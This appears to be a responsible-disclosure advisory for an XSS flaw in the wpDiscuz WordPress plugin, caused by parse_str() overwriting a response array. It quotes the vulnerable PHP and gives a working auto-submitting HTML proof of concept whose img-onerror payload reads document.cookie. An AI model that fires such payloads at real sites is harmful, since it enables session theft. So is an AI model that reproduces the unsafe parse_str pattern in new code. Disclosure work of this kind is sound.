parse_str()
function is used without second param so variables are set in current scope.
Using this we can override previously defined variables, in this case $messageArray
which is later displayed using wp_die(json_encode($messageArray));
.
Because Content-Type: application/json
is not set, we have XSS.
File: wpdiscuz\class.WpdiscuzCore.php
add_action('wp_ajax_getSingleComment', array(&$this, 'getSingleComment'));
add_action('wp_ajax_nopriv_getSingleComment', array(&$this, 'getSingleComment'));
public function getSingleComment() {
global $current_user;
get_currentuserinfo();
$messageArray = array();
$commentData = filter_input(INPUT_POST, 'wpdiscuzAjaxData');
if ($commentData) {
parse_str($commentData);
$commentId = intval(trim($commentId));
$postId = intval(trim($postId));
if ($commentId && $postId) {
$parentComment = $this->optimizationHelper->getCommentRoot($commentId);
$tree = array();
$tree = $this->optimizationHelper->getTreeByParentId($parentComment->comment_ID, $tree);
$this->commentsArgs = $this->getDefaultCommentsArgs();
$this->commentsArgs['wc_comments'] = array_merge(array($parentComment->comment_ID), $tree);
$comments = get_comments($this->commentsArgs);
$commentListArgs = $this->getCommentListArgs($postId);
$commentListArgs['isSingle'] = true;
$commentListArgs['new_loaded_class'] = 'wc-new-loaded-comment';
$commentListArgs['current_user'] = $current_user;
$messageArray['message'] = wp_list_comments($commentListArgs, $comments);
}
$this->commentsArgs['caller'] = '';
wp_die(json_encode($messageArray));
}
}
Proof of Concept
This issue exists in few places, for example:
<body onload="document.f1.submit()">
<form name="f1" method="post" action="http://wp/wp-admin/admin-ajax.php?action=voteOnComment">
<input type="hidden" name="wpdiscuzAjaxData" value="messageArray[xss]=<img src=a onerror=alert(document.cookie)>">
<input type="submit" value="Attack">
</form>
<form name="f2" method="post" action="http://wp/wp-admin/admin-ajax.php?action=getSingleComment">
<input type="hidden" name="wpdiscuzAjaxData" value="messageArray[xss]=<img src=a onerror=alert(document.cookie)>">
<input type="submit" value="Attack2">
</form>
<form name="f3" method="post" action="http://wp/wp-admin/admin-ajax.php?action=readMore">
<input type="hidden" name="wpdiscuzAjaxData" value="messageArray[xss]=<img src=a onerror=alert(document.cookie)>">
<input type="submit" value="Attack3">
</form>
Timeline
- 15-01-2016: Discovered
- 15-01-2016: Vendor notified
- 16-01-2016: Version 3.2.0 released, issue resolved